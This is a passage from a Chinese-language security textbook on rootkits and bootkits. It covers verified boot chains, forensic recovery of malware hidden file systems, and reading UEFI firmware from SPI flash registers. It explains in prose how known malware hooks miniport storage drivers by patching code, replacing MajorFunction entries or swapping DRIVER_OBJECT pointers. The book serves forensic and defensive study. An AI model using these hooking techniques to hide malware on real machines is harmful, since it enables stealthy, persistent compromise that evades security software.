一旦 CPU 从重置中恢复,执行的第一段代码是引导加载程序 1(BL1)➊。BL1 从只读引导 ROM 加载,这意味着在存储期间它不能被篡改。BL1 读取来自闪存的引导加载程序 2(BL2)内容证书➒并检查其发行者密钥。BL1 然后计算 BL2 内容证书发行者的哈希值,并将其与硬件中存储在受信任的根公钥寄存器(ROTPK)寄存器中的“黄金”值进行比较➓。ROTPK 寄存器和引导 ROM 是受信任引导的根信任来源,根植于硬件。如果哈希值不相等或 BL2 内容证书签名验证失败,系统将出现故障。

一旦 BL2 内容证书通过 ROTPK 验证,BL1 从闪存加载 BL2 映像➋,计算其加密哈希值,并将该哈希值与从 BL2 内容证书➎获取的哈希值进行比较。

一旦认证通过,BL1 将控制权转交给 BL2,BL2 随后从闪存读取其受信任的密钥证书➏。该受信任的密钥证书包含用于验证安全世界➐和普通世界➑固件的公钥。发行该受信任密钥证书的密钥将与 ROTPK 寄存器➓进行比对。

接下来,BL2 认证 BL31➌,即安全世界的运行时固件。为了认证 BL31 映像,BL2 使用 BL31 的密钥证书和内容证书➌。BL2 通过使用从受信任的密钥证书获取的安全世界公钥来验证这些密钥证书。BL31 密钥证书包含用于验证 BL32 内容证书签名的 BL31 内容证书公钥。

image

图 17-19:受信任引导流程

一旦 BL31 内容证书验证通过,存储在该 BL31 证书中的 BL31 映像的哈希值将用于检查 BL3 映像的完整性。再次,如果验证失败,系统将出现故障。

类似地,BL2 使用 BL32 密钥和内容证书检查可选的安全世界 BL32 映像的完整性。

BL33 固件映像(在普通世界中执行)的完整性将通过 BL33 密钥和 BL33 内容证书进行检查。BL33 密钥证书将通过从受信任的密钥证书中获取的普通世界公钥进行验证。

如果所有检查都成功通过,系统将继续执行经过认证的安全世界和普通世界固件。

AMD 硬件验证引导

尽管本章没有讨论,但 AMD 有自己的验证和测量引导实现,称为硬件验证引导(HVB)。该技术实现了类似于 Intel BootGuard 的功能。基于 AMD 平台安全处理器技术,它拥有一颗专门用于安全相关计算的微控制器,独立于系统的主核心运行。

验证引导与固件根木马

拿到这些知识后,最终让我们来看看验证启动(Verified Boot)是否能防止固件根套件(rootkits)攻击。

我们知道,验证启动发生在任何固件在启动过程中执行之前。这意味着当验证启动开始验证固件时,任何感染的固件根套件还没有激活,因此恶意软件无法反制验证过程。验证启动将检测任何恶意修改的固件并防止其执行。

此外,验证启动的信任根是基于硬件的,因此攻击者无法篡改它。Intel BootGuard 的 OEM 根公钥被烧录到芯片组中,而 ARM 的信任根密钥则存储在安全寄存器中。在这两种情况下,触发验证启动的启动代码是从只读存储器中加载的,因此恶意软件无法修补或修改它。

因此,我们可以得出结论,验证启动能够抵御固件根套件的攻击。然而,正如你可能已经观察到的,这项技术非常复杂;它有很多依赖项,因此很容易被错误实现。这项技术的安全性与其最薄弱的组件相当;信任链中的任何一个缺陷都可能导致绕过。这意味着攻击者很可能在验证启动的实现中找到漏洞,从而利用并安装固件根套件。

结论

本章中,我们探讨了三种安全启动技术:UEFI 安全启动、Intel BootGuard 和 ARM Trusted Boot。这些技术依赖于从启动过程开始到用户应用程序执行的信任链,并涉及大量的启动模块。当正确配置和实现时,它们能够防止日益增长的 UEFI 固件根套件攻击。这也是为什么高安全性系统必须使用安全启动的原因,现如今许多消费级系统默认启用安全启动。在下一章,我们将重点讨论分析固件根套件的取证方法。

第十八章:分析隐藏文件系统的方法

Image

到目前为止,本书中你已经学习了引导木马如何通过使用复杂技术渗透并保持在受害者计算机上,从而避免被检测到。这些高级威胁的一个共同特点是使用定制的隐藏存储系统,将模块和配置信息存储在被攻破的机器上。

许多恶意软件中的隐藏文件系统是标准文件系统的定制或修改版本,这意味着对感染了 rootkit 或 bootkit 的计算机进行取证分析通常需要定制的工具集。为了开发这些工具,研究人员必须通过深入分析和逆向工程,了解隐藏文件系统的布局及其加密数据所使用的算法。

本章中,我们将更详细地研究隐藏文件系统以及分析它们的方法。我们将分享我们在进行本书中描述的 rootkit 和 bootkit 的长期取证分析时的经验。我们还将讨论从隐藏存储中检索数据的方法,并分享在这种分析过程中常见问题的解决方案。最后,我们将介绍我们开发的定制工具 HiddenFsReader,其目的是转储特定恶意软件中隐藏文件系统的内容。

隐藏文件系统概述

图 18-1 展示了典型隐藏文件系统的概述。我们可以看到与隐藏存储进行通信的恶意载荷被注入到受害进程的用户模式地址空间中。该载荷通常利用隐藏存储读取和更新其配置信息,或存储像被窃取的凭据之类的数据。

image

图 18-1:典型的恶意隐藏文件系统实现

隐藏存储服务是通过内核模式模块提供的,而恶意软件暴露的接口仅对载荷模块可见。这个接口通常对系统上的其他软件不可用,也无法通过标准方法(如 Windows 文件资源管理器)访问。

恶意软件在隐藏文件系统中存储的数据保留在硬盘上未被操作系统使用的区域,以避免与操作系统发生冲突。在大多数情况下,这个区域位于硬盘的末端,因为通常会有一些未分配的空间。然而,在某些情况下,如第十一章中讨论的 Rovnix 引导木马,恶意软件可以将其隐藏文件系统存储在硬盘开头的未分配空间中。

执行取证分析的主要目标是检索这些隐藏存储的数据,接下来我们将讨论几种实现这一目标的方法。

从隐藏文件系统中检索引导木马数据

我们可以通过在感染的系统离线时检索数据,或通过从实时感染系统中读取恶意数据,来获取来自引导木马感染计算机的取证信息。

每种方法都有其优缺点,我们将在讨论这两种方法时进行考虑。

从离线系统中检索数据

首先,我们来讨论如何在系统离线时从硬盘读取数据(也就是说,恶意软件处于非活动状态)。我们可以通过对硬盘进行离线分析来实现这一点,但另一个选择是使用实时 CD 启动未感染的操作系统实例。这确保计算机使用安装在实时 CD 上的未受感染的引导加载程序,从而避免了引导包的执行。这种方法假设引导包在合法引导加载程序之前无法执行,也无法在尝试从外部设备启动以清除敏感数据之前检测到这一行为。

这种方法相对于在线分析的一个显著优势是,你无需绕过恶意软件的自我防御机制,这些机制用于保护隐藏的存储内容。正如我们在后续章节中看到的,绕过恶意软件的保护并非易事,且需要一定的专业知识。

注意

一旦你获得了对硬盘上存储的数据的访问权限,你就可以继续转储恶意隐藏文件系统的镜像,并进行解密和解析。不同类型的恶意软件需要不同的方法来解密和解析隐藏的文件系统,正如我们在章节 “解析隐藏文件系统镜像” 第 360 页中将讨论的那样。

然而,这种方法的缺点是,它需要同时具备对受感染计算机的物理访问权限以及使用实时 CD 启动计算机并转储隐藏文件系统的技术知识。满足这两个要求可能会存在问题。

如果在非活动机器上进行分析不可行,我们就必须使用主动方法。

在实时系统上读取数据

在一个存在活动引导包的实时系统上,我们需要转储恶意隐藏文件系统的内容。

然而,在系统运行恶意软件时读取恶意隐藏存储面临一个主要难题:恶意软件可能会尝试反制读取操作,并伪造从硬盘读取的数据,以阻碍取证分析。本书中我们讨论的大多数根套件——如 TDL3、TDL4、Rovnix、Olmasco 等——都会监视硬盘访问,并阻止对包含恶意数据区域的访问。

为了能够读取硬盘上的恶意数据,你必须克服恶意软件的自我防御机制。稍后我们会讨论一些应对方法,但首先,我们将研究 Windows 的存储设备驱动堆栈,以及恶意软件如何钩住它,以更好地理解恶意软件是如何保护恶意数据的。这些信息也有助于理解某些移除恶意钩子的方式。

钩住 Miniport 存储驱动程序

我们在第一章中介绍了 Microsoft Windows 存储设备驱动程序堆栈的架构以及恶意软件如何钩住它。此方法经历了 TDL3 并被后来的恶意软件采用,包括本书中我们研究的启动工具。这里我们将详细讲解。

TDL3 钩住了位于存储设备驱动程序堆栈最底部的迷你端口存储驱动程序,如图 18-2 所示。

image

图 18-2:设备存储驱动程序堆栈

在此层级钩住驱动程序堆栈使得恶意软件能够监视并修改往返硬盘的 I/O 请求,从而获得对其隐藏存储的访问权限。

在驱动程序堆栈的最底层进行钩子操作并直接与硬件通信,也使得恶意软件能够绕过在文件系统或磁盘类驱动程序级别运行的安全软件。正如我们在第一章中提到的,当对硬盘执行 I/O 操作时,操作系统会生成一个输入/输出请求数据包(IRP)——这是一个描述 I/O 操作的特殊数据结构,它会从堆栈顶部传递到底部。

负责监视硬盘 I/O 操作的安全软件模块可以检查并修改 IRP 数据包,但由于恶意钩子安装在安全软件下方的级别,因此这些安全工具无法察觉到这些钩子。

启动程序可能钩住的其他几个层次包括用户模式 API、文件系统驱动程序和磁盘类驱动程序,但没有一个能够像迷你端口存储层那样既隐秘又强大。

存储设备堆栈布局

我们在本节中不会涵盖所有可能的迷你端口存储钩子方法。相反,我们将重点讨论我们在恶意软件分析过程中遇到的最常见的方法。

首先,我们将仔细观察存储设备,如图 18-3 所示。

image

图 18-3:迷你端口存储设备组织

IRP 从堆栈的顶部传递到底部。堆栈中的每个设备可以处理并完成 I/O 请求,或者将其转发到下一级设备。

DEVICE_OBJECT ➊是操作系统用于描述堆栈中设备的系统数据结构,它包含一个指针 ➋,指向相应的DRIVER_OBJECT,这是描述系统中加载的驱动程序的另一个系统数据结构。在此情况下,DEVICE_OBJECT包含指向迷你端口存储驱动程序的指针。

DRIVER_OBJECT结构的布局如清单 18-1 所示。

typedef struct _DRIVER_OBJECT {

   SHORT Type;

   SHORT Size;

➊ PDEVICE_OBJECT DeviceObject;

   ULONG Flags;

➋ PVOID DriverStart;

➌ ULONG DriverSize;

   PVOID DriverSection;

   PDRIVER_EXTENSION DriverExtension;

➍ UNICODE_STRING DriverName;

   PUNICODE_STRING HardwareDatabase;

   PFAST_IO_DISPATCH FastIoDispatch;

➎ LONG * DriverInit;

   PVOID DriverStartIo;

   PVOID DriverUnload;

➏ LONG * MajorFunction[28];

} DRIVER_OBJECT, *PDRIVER_OBJECT;

清单 18-1:DRIVER_OBJECT 结构的布局

DriverName 字段 ➍ 包含结构描述的驱动程序的名称;DriverStart ➋ 和 DriverSize ➌ 分别包含驱动程序内存中的起始地址和大小;DriverInit ➎ 包含指向驱动程序初始化例程的指针;DeviceObject ➊ 包含指向与驱动程序相关的 DEVICE_OBJECT 结构列表的指针。从恶意软件的角度来看,最重要的字段是位于结构末尾的 MajorFunction ➏,它包含驱动程序中实现的各类 I/O 操作处理程序的地址。

当 I/O 数据包到达设备对象时,操作系统会检查相应 DEVICE_OBJECT 结构中的 DriverObject 字段,以获取内存中 DRIVER_OBJECT 的地址。一旦内核获取了 DRIVER_OBJECT 结构,它会从与 I/O 操作类型相关的 MajorFunction 数组中获取相应 I/O 处理程序的地址。有了这些信息,我们可以识别出存储设备栈中可能被恶意软件钩取的部分。让我们来看看几种不同的方法。

直接修补迷你端口存储驱动程序镜像

一种钩取迷你端口存储驱动程序的方法是直接修改驱动程序在内存中的镜像。一旦恶意软件获取到硬盘迷你端口设备对象的地址,它会查看 DriverObject 来定位相应的 DRIVER_OBJECT 结构。然后,恶意软件从 MajorFunction 数组中获取硬盘 I/O 处理程序的地址,并在该地址处修补代码,如图 18-4 所示(灰色部分是恶意软件修改的部分)。

image

图 18-4:通过修补迷你端口驱动程序钩取存储驱动程序栈

当设备对象接收到 I/O 请求时,恶意软件会被执行。恶意钩子现在可以拒绝 I/O 操作,阻止访问硬盘的保护区域,或者它可以修改 I/O 请求,返回伪造的数据并欺骗安全软件。

例如,这种类型的钩子被 Gapz 启动程序使用,如第十二章中讨论的那样。在 Gapz 的情况下,恶意软件钩取了硬盘迷你端口驱动程序中的两个例程,负责处理 IRP_MJ_INTERNAL_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROL I/O 请求,以保护它们不被读取或覆盖。

然而,这种方法并不特别隐蔽。安全软件可以通过在文件系统中定位被钩取的驱动程序镜像并将其映射到内存中来检测并移除钩子。接着,它会将加载到内核中的驱动程序代码部分与从文件手动加载的驱动程序版本进行比较,并注意代码部分的任何差异,这些差异可能表明驱动程序中存在恶意钩子。

安全软件可以通过覆盖修改过的代码,使用文件中提取的代码,来删除恶意钩子并恢复原始代码。这种方法假设文件系统中的驱动程序是合法的,并且没有被恶意软件修改。

DRIVER_OBJECT 修改

硬盘迷你端口驱动程序也可以通过修改DRIVER_OBJECT结构来实现钩子注入。如前所述,这个数据结构包含了驱动程序镜像在内存中的位置以及驱动程序调度例程在MajorFunction数组中的地址。

因此,修改MajorFunction数组允许恶意软件在不触及内存中驱动程序镜像的情况下安装其钩子。例如,恶意软件可以替换MajorFunction数组中与IRP_MJ_INTERNAL_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROL I/O 请求相关的条目,将其地址替换为恶意钩子的地址,而不是像前一种方法那样直接修改镜像中的代码。这样,每当操作系统内核试图解析DRIVER_OBJECT结构中的处理程序地址时,就会被重定向到恶意代码。这个方法在图 18-5 中有示范。

由于驱动程序镜像在内存中保持未修改,因此这种方法比前一种方法更具隐蔽性,但并非无法被发现。安全软件仍然可以通过定位驱动程序镜像并检查IRP_MJ_INTERNAL_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROL I/O 请求处理程序的地址来检测钩子的存在:如果这些地址不属于迷你端口驱动程序镜像在内存中的地址范围,那么就表明设备堆栈中存在钩子。

image

图 18-5:通过修补迷你端口DRIVER_OBJECT来钩住存储驱动堆栈

另一方面,移除这些钩子并恢复MajorFunction数组的原始值比前一种方法要困难得多。在这种方法中,驱动程序会在执行其初始化例程时初始化MajorFunction数组,该例程接收一个指向部分初始化的DRIVER_OBJECT结构的指针作为输入参数,并通过将MajorFunction数组填充为指向调度处理程序的指针来完成初始化。

只有迷你端口驱动程序知道处理程序的地址。安全软件无法获取这些信息,这使得恢复DRIVER_OBJECT结构中原始地址变得更加困难。

安全软件可能采用的一种方法是将迷你端口驱动程序映像加载到仿真环境中,创建一个DRIVER_OBJECT结构,并执行驱动程序的入口点(初始化例程),同时将DRIVER_OBJECT结构作为参数传递。在退出初始化例程时,DRIVER_OBJECT应包含有效的MajorFunction处理程序,安全软件可以利用这些信息计算驱动程序映像中 I/O 分派例程的地址,并恢复被修改的DRIVER_OBJECT结构。

然而,驱动程序的仿真可能会很棘手。如果驱动程序的初始化例程实现了简单的功能(例如,使用有效的处理程序地址初始化DRIVER_OBJECT结构),这种方法会有效,但如果它实现了复杂的功能(例如,调用系统服务或系统 API,这些更难仿真),仿真可能会失败并在驱动程序初始化数据结构之前终止。在这种情况下,安全软件将无法恢复原始处理程序的地址并移除恶意钩子。

解决这个问题的另一种方法是生成原始处理程序地址的数据库,并使用它来恢复这些地址。然而,这个解决方案缺乏通用性。它可能对最常用的迷你端口驱动程序有效,但对数据库中未包含的稀有或自定义驱动程序可能不起作用。

DEVICE_OBJECT 修改

本章中我们考虑的最后一种迷你端口驱动程序钩住方法是前一种方法的逻辑延续。我们知道,要执行迷你端口驱动程序中的 I/O 请求处理程序,操作系统内核必须从迷你端口DEVICE_OBJECT中获取DRIVER_OBJECT结构的地址,然后从MajorFunction数组中获取处理程序地址,最后执行处理程序。

所以,安装钩子的另一种方式是修改相关DEVICE_OBJECT中的DriverObject字段。恶意软件需要创建一个伪造的DRIVER_OBJECT结构,并用恶意钩子的地址初始化其MajorFunction数组,之后操作系统内核将使用恶意的DRIVER_OBJECT结构来获取 I/O 请求处理程序的地址并执行恶意钩子(图 18-6)。

image

图 18-6:通过劫持迷你端口DRIVER_OBJECT钩住存储驱动程序堆栈

这种方法被 TDL3/TDL4、Rovnix 和 Olmasco 使用,它与前一种方法有相似的优缺点。然而,它的钩子更难移除,因为整个DRIVER_OBJECT结构不同,这意味着安全软件需要付出额外的努力来定位原始的DRIVER_OBJECT结构。

这标志着我们对设备驱动程序栈挂钩技术的讨论结束。正如我们所见,要从感染机器的硬盘的受保护区域读取恶意数据,没有简单的通用解决方案来去除恶意挂钩。困难的另一个原因是,有许多不同实现的迷你端口存储驱动程序,而且由于它们直接与硬件通信,每个存储设备厂商都会为其硬件提供定制驱动程序,因此对于某一类迷你端口驱动程序有效的方法,在其他驱动程序中可能无效。

解析隐藏文件系统镜像

一旦 Rootkit 的自我防护保护被禁用,我们就可以读取恶意隐藏存储中的数据,从而得到恶意文件系统的镜像。法医分析中的下一步逻辑是解析隐藏文件系统并提取有意义的信息。

为了能够解析转储的文件系统,我们需要知道它对应的是哪种类型的恶意软件。每种威胁都有其自己实现的隐藏存储,而重构其布局的唯一方法是通过逆向工程恶意软件,理解负责维护该布局的代码。在某些情况下,隐藏存储的布局可能会在同一恶意软件家族的不同版本之间发生变化。

恶意软件还可能加密或混淆其隐藏存储,以使法医分析变得更加困难,在这种情况下,我们需要找到加密密钥。

表 18-1 提供了与我们在前几章中讨论的恶意软件家族相关的隐藏文件系统的总结。在此表中,我们仅考虑隐藏文件系统的基本特性,如布局类型、使用的加密方式以及是否实现了压缩。

表 18-1:隐藏文件系统实现比较

功能/恶意软件 TDL4 Rovnix Olmasco Gapz
文件系统类型 自定义 FAT16 修改 自定义 自定义
加密 XOR/RC4 自定义(XOR+ROL) RC6 修改 RC4
压缩

正如我们所看到的,每种实现都不同,给法医分析师和调查人员带来了困难。

HiddenFsReader 工具

在我们对高级恶意软件威胁的研究过程中,我们逆向分析了许多不同的恶意软件家族,并成功地收集了关于各种隐藏文件系统实现的广泛信息,这些信息对安全研究社区可能非常有用。因此,我们实现了一款名为 HiddenFsReader 的工具(* download.eset.com/special/ESETHfsReader.exe/ *),该工具能够自动寻找计算机上的隐藏恶意容器并提取其中包含的信息。

图 18-7 展示了 HiddenFsReader 的高层架构。

image

图 18-7:HiddenFsReader 的高层架构

HiddenFsReader 由两个组件组成:一个用户模式应用程序和一个内核模式驱动程序。内核模式驱动程序基本上实现了禁用根套件/引导套件自我防御机制的功能,而用户模式应用程序则为用户提供接口,以便低级访问硬盘。即使系统感染了活跃的恶意软件实例,应用程序也可以通过该接口从硬盘读取实际数据。

用户态应用程序负责识别从硬盘读取的隐藏文件系统,并且实现解密功能,以便从加密的隐藏存储中获取明文数据。

在撰写时,最新版本的 HiddenFsReader 支持以下威胁及其相应的隐藏文件系统:

  • Win32/Olmarik (TDL3/TDL3+/TDL4)

  • Win32/Olmasco (MaxXSS)

  • Win32/Sirefef (ZeroAccess)

  • Win32/Rovnix

  • Win32/Xpaj

  • Win32/Gapz

  • Win32/Flamer

  • Win32/Urelas (GBPBoot)

  • Win32/Avatar

这些威胁使用自定义隐藏文件系统来存储有效载荷和配置信息,从而更好地防范安全软件,增加取证分析的难度。我们在本书中并未讨论所有这些威胁,但你可以在* nostarch.com/rootkits/* 上找到相关信息。

结论

对于像根套件和引导套件这样的高级威胁,实施自定义隐藏文件系统是常见的做法。隐藏存储用于保密配置信息和有效载荷,从而使传统的取证分析方法失效。

取证分析人员必须禁用威胁的自我防御机制并对恶意软件进行逆向工程。通过这种方式,他们可以重建隐藏文件系统的布局,并识别用于保护恶意数据的加密方案和密钥。这需要针对每个威胁额外的时间和努力,但本章已经探讨了一些应对这些问题的可能方法。在第十九章中,我们将继续探讨恶意软件的取证分析,特别是针对 UEFI 根套件的分析。我们将提供关于 UEFI 固件获取和分析的相关信息,重点关注针对 UEFI 固件的恶意软件。

第十九章:BIOS/UEFI 取证:固件获取与分析方法

Image

最近针对 UEFI 固件的 rootkit 攻击重新激起了人们对 UEFI 固件取证的兴趣。有关国家支持的 BIOS 植入程序的机密信息泄露,以及在第十五章中提到的 Hacking Team 的安全泄露事件,展示了针对 BIOS 的恶意软件越来越隐蔽和强大的能力,并促使研究界深入探讨固件领域。我们在前几章中已经讨论了一些关于这些 BIOS 威胁的技术细节。如果你还没读过第十五章和第十六章,强烈建议你在继续之前阅读这两章;这两章涉及了固件安全的关键概念,我们假设你已经理解这些概念。

注意

在本章中,我们将 BIOS UEFI 固件 交替使用。

目前,UEFI 固件取证是一个新兴的研究领域,因此从事该领域的安全研究人员缺乏传统的工具和方法。在本章中,我们将介绍一些固件分析技术,包括固件获取的不同方法以及解析和提取有用信息的技术。

我们首先关注固件获取,这是取证分析的第一步。我们将介绍软件和硬件两种方法来获取 UEFI 固件镜像。接下来,我们将比较这些方法,并讨论每种方法的优缺点。然后,我们讨论 UEFI 固件镜像的内部结构,以及如何解析它以提取取证证据。在本次讨论中,我们将展示如何使用 UEFITool,这是一款不可或缺的开源固件分析工具,用于浏览和修改 UEFI 固件镜像。最后,我们讨论 Chipsec,这是一款功能非常强大且广泛的工具,并考虑它在取证分析中的应用。两款工具在第十五章中已有介绍。

我们取证技术的局限性

我们在这里呈现的材料确实存在一些局限性。在现代平台上,固件种类繁多:UEFI 固件、Intel ME 固件、硬盘控制器固件等等。本章专门致力于 UEFI 固件的分析,它是平台固件中最大的一部分。

还需要注意的是,固件非常具有平台特性;也就是说,每个平台都有其独特性。在本章中,我们将重点讨论针对 Intel x86 系统的 UEFI 固件,这些系统占据了大多数桌面、笔记本和服务器市场份额。

为什么固件取证很重要

在第十五章中,我们看到现代固件是嵌入非常强大的后门或 rootkit 的便捷位置,尤其是在 BIOS 中。这种类型的恶意软件能够在操作系统重装或硬盘更换后存活,并且使攻击者能够控制整个平台。在写作本文时,大多数最先进的安全软件根本没有考虑到 UEFI 固件威胁,这使得它们更加危险。这为攻击者提供了一个重要机会,可以在目标系统上植入持久存在且未被检测到的恶意软件。

接下来,我们概述了攻击者可能利用固件 rootkit 的几种具体方式。

攻击供应链

针对 UEFI 固件的威胁增加了供应链攻击的风险,因为攻击者可以在服务器送往数据中心之前,或者在笔记本电脑送到 IT 部门之前,安装恶意植入物。而且,由于这些威胁可能通过暴露所有秘密影响大量服务提供商的客户,一些大型云计算公司,如 Google,最近开始使用固件取证分析技术,以确保其固件没有被破坏。

GOOGLE TITAN 芯片

2017 年,Google 公布了 Titan 芯片,这是一款通过建立硬件信任根来保护平台固件的芯片。信任硬件配置至关重要,尤其是在云安全领域,因为攻击的影响会因受影响的客户数量而成倍增加。

与大型云和数据相关的公司,如 Amazon、Google、Microsoft、Facebook 和 Apple,正在开发(或已经开发)用于控制平台信任根的硬件。即使攻击者利用固件 rootkit 攻击平台,拥有一个隔离的信任根也能防止 Secure Boot 攻击和固件更新攻击。

通过固件漏洞攻破 BIOS

攻击者可以通过利用固件中的漏洞,绕过 BIOS 写保护或认证,从而破坏平台固件。如需了解这种攻击,请参阅第十六章,我们在其中讨论了用于攻击 BIOS 的不同类型的漏洞。为了检测这些攻击,可以使用本章讨论的固件取证方法来验证平台固件的完整性,或帮助检测恶意固件模块。

理解固件获取

BIOS 取证分析的第一步是获取 BIOS 固件的映像进行分析。要更好地了解现代平台上 BIOS 固件的位置,请参阅图 19-1,该图展示了典型 PC 系统芯片组的架构。

芯片组中有两个主要组件:一个 CPU 和一个平台控制器集线器(PCH)或南桥。PCH 提供了平台上外设设备控制器与 CPU 之间的连接。在大多数基于 Intel x86 架构(包括 64 位平台)的现代系统中,系统固件位于串行外设接口(SPI)总线上的闪存中➊,该总线物理上与 PCH 连接。SPI 闪存是法医分析的主要目标,因为它存储了我们想要分析的固件。

image

图 19-1:现代 Intel 芯片组的框图

一块 PC 主板通常有一个单独的物理 SPI 闪存芯片焊接在其上,但你可能偶尔会遇到有多个 SPI 闪存芯片的系统。这种情况发生在单个芯片没有足够的容量来存储所有系统固件时;在这种情况下,平台厂商使用两个芯片。我们将在本章稍后的“定位 SPI 闪存芯片”中讨论这种情况,见第 376 页。

双 BIOS 技术

双 BIOS 技术也使用计算机主板上的多个 SPI 闪存芯片。但与刚才讨论的使用多个 SPI 闪存芯片存储单一固件镜像的方式不同,双 BIOS 技术使用多个芯片存储不同的固件镜像或相同固件镜像的多个副本。这项技术提供了额外的固件损坏保护,因为如果一个芯片中的固件损坏,系统可以从第二个包含相同固件镜像的芯片启动。

要获取存储在 SPI 闪存中的固件镜像,你需要能够读取闪存的内容。一般来说,你可以通过软件方法或硬件方法来读取固件。在软件方法中,你尝试通过与 SPI 控制器通信来读取固件镜像,通信是通过在主机 CPU 上运行的软件实现的。在硬件方法中,你物理连接一个叫做 SPI 编程器的特殊设备到 SPI 闪存,然后直接从 SPI 闪存读取固件镜像。我们将介绍这两种方法,首先从软件方法开始。

然而,在我们进入软件方法的描述之前,你应该明白每种方法都有其优缺点。使用软件方法转储 UEFI 固件的一个好处是可以远程操作。目标系统的用户可以运行一个应用程序,将 SPI 闪存的内容转储并发送给法医分析师。但这种方法也有一个主要缺点:如果攻击者已经妥协了系统固件,他或她可能通过伪造从 SPI 闪存读取的数据来干扰固件获取过程。这使得软件方法在一定程度上不可靠。

硬件方法没有这种缺点。尽管你必须亲自到场并且需要打开目标系统的机箱,但此方法直接读取关闭电源系统的 SPI 闪存内容,而不会给攻击者任何伪造数据的机会(除非你面对的是硬件植入物,但本书不讨论这一内容)。

固件获取的软方法

在从目标系统转储 UEFI 固件的软件方法中,你通过操作系统读取 SPI 闪存的内容。你可以通过 PCI 配置空间(指定 PCI 总线上设备配置的一组寄存器)中的寄存器访问现代系统的 SPI 控制器。这些寄存器是内存映射的,你可以使用常规的内存读写操作对它们进行读写。在本节中,我们将演示如何定位这些寄存器并与 SPI 控制器进行通信。

在我们继续之前,你需要知道 SPI 寄存器的位置是芯片组特定的,因此为了与 SPI 控制器进行通信,我们需要参考专为我们目标平台设计的芯片组。在本章中,我们将演示如何读取英特尔 200 系列芯片组(SPI 寄存器的位置可以在 www.intel.com/content/www/us/en/chipsets/200-series-chipset-pch-datasheet-vol-2.html)的 SPI 闪存,这些芯片组是本文写作时最新的桌面系统芯片组。

还值得一提的是,通过 PCI 配置空间暴露的寄存器对应的内存位置被映射到内核模式地址空间,因此无法访问在用户模式地址空间中运行的代码。你需要开发一个内核模式驱动程序来访问该地址范围。本章稍后讨论的 Chipsec 工具提供了自己的内核模式驱动程序,用于访问 PCI 配置空间。

定位 PCI 配置空间寄存器

首先,我们需要定位 SPI 控制器寄存器映射的内存范围。这个内存范围被称为 根复合寄存器块(RCRB)。在 RCRB 的 3800h 偏移处,你会找到 SPI 基地址寄存器(SPIBAR),它保存了内存映射 SPI 寄存器的基地址(参见 图 19-2)。

image

图 19-2:系统内存中 SPI 控制和状态寄存器的位置

PCIE 总线

PCI Express(PCIe)总线是一种高速串行总线标准,几乎在所有现代 PC 中都有使用,包括消费类笔记本电脑和台式机、数据中心服务器等。PCIe 总线作为计算机内部各个组件和外部设备之间的互连。许多集成的芯片组设备(如 SPI 闪存、内存控制器等)作为 PCIe 总线上的端点设备存在。

RCRB 地址存储在 根复合基址(RCBA) PCI 寄存器中,该寄存器位于总线 0,设备 31h,功能 0。这是一个 32 位寄存器,RCRB 的地址存储在第 31 位到第 14 位中。我们假设 RCRB 地址的低 14 位为零,因为 RCRB 按照 16Kb 边界对齐。一旦我们获得 RCRB 的地址,我们可以通过读取 3800h 偏移量处的内存来获取 SPIBAR 值。在下一节中,我们将更详细地讨论 SPI 寄存器。

SPI FLASH 固件

SPI 闪存不仅包含 BIOS 固件,还包括其他类型的平台固件,如 Intel ME(管理引擎)、以太网控制器固件以及供应商特定的固件和数据。不同类型的固件在其位置和访问控制权限上有所不同。例如,主机操作系统无法访问 Intel ME 固件,因此获取固件的软件方法对于 Intel ME 不适用。

计算 SPI 配置寄存器地址

一旦我们获取了 SPIBAR 值,该值为我们提供了 SPI 寄存器在内存中的位置,我们就可以编程寄存器来读取 SPI 闪存的内容。SPI 寄存器的偏移量可能会根据平台有所不同,因此确定给定硬件配置的实际值的最佳方法是查阅平台芯片组文档。例如,对于本文写作时支持 Intel 最新 CPU(Kaby Lake)的平台,我们可以查阅 Intel 200 系列芯片组家族平台控制器集线器数据手册,以查找 SPI 内存映射寄存器的位置。相关信息位于名为“串行外设接口”的章节中。对于每个 SPI 寄存器,数据手册提供了从 SPIBAR 值的偏移量、寄存器名称以及平台重置时寄存器的默认值。我们将在本节中使用该数据手册作为参考,来确定我们感兴趣的 SPI 寄存器的地址。

使用 SPI 寄存器

现在你知道如何查找 SPI 寄存器的地址,你可以确定使用哪个寄存器来读取 SPI 闪存的内容。表 19-1 列出了我们需要用来获取 SPI 闪存镜像的所有寄存器。

表 19-1: 固件获取的 SPI 寄存器

从 SPIBAR 的偏移量 寄存器名称 寄存器描述
04h–05h HSFS 硬件排序闪存状态
06h–07h HSFC 硬件排序闪存控制寄存器
08h–0Bh FADDR 闪存地址
10h–4Fh FDATAX 闪存数据数组
58h–5Bh FREG1 闪存区域 1(BIOS 描述符)

我们将在接下来的章节中讨论这些寄存器。

FREG1 寄存器

我们首先要介绍的寄存器是 闪存区域 1(FREG1)。它提供了 BIOS 区域在 SPI 闪存中的位置。此 32 位长度寄存器的布局见 图 19-3。

image

图 19-3:FREG1 SPI 寄存器布局

Region Base 字段 ➋ 提供了 BIOS 区域在 SPI 闪存中的基地址的 24:12 位。由于 BIOS 区域是按 4KB 对齐的,因此该区域基地址的最低 12 位从 0 开始。Region Limit 字段 ➊ 提供了 BIOS 区域在 SPI 闪存中的 24:12 位。例如,如果 Region Base 字段的值为 0xaaa,Region Limit 字段的值为 0xbbb,则 BIOS 区域从 0xaaa000 到 0xbbbfff 之间。

HSFC 寄存器

硬件顺序闪存控制 (HSFC) 寄存器允许我们向 SPI 控制器发送命令。(在规格说明中,这些命令被称为 周期。)您可以在 图 19-4 中看到 HSFC 寄存器的布局。

image

图 19-4:HSFC SPI 寄存器布局

我们使用 HSFC 寄存器向 SPI 闪存发送读/写/删除周期。2 位的 FCYCLE 字段 ➌ 编码了要执行的操作:

00 从 SPI 闪存读取数据块

01 向 SPI 闪存写入数据块

11 擦除 SPI 闪存中的数据块

10 保留

对于读写周期,FDBC 字段 ➋ 表示应传输到 SPI 闪存的字节数。此字段的内容是以零为基准的;000000b 表示 1 字节,111111b 表示 64 字节。因此,要传输的字节数为该字段的值加 1。

FGO 字段 ➍ 用于启动 SPI 闪存操作。当此字段的值为 1b 时,SPI 控制器将根据写入 FCYCLE 和 FDBC 字段的值进行读、写和擦除操作。在设置 FGO 字段之前,软件需要指定所有指示操作类型、数据量和 SPI 闪存地址的寄存器。

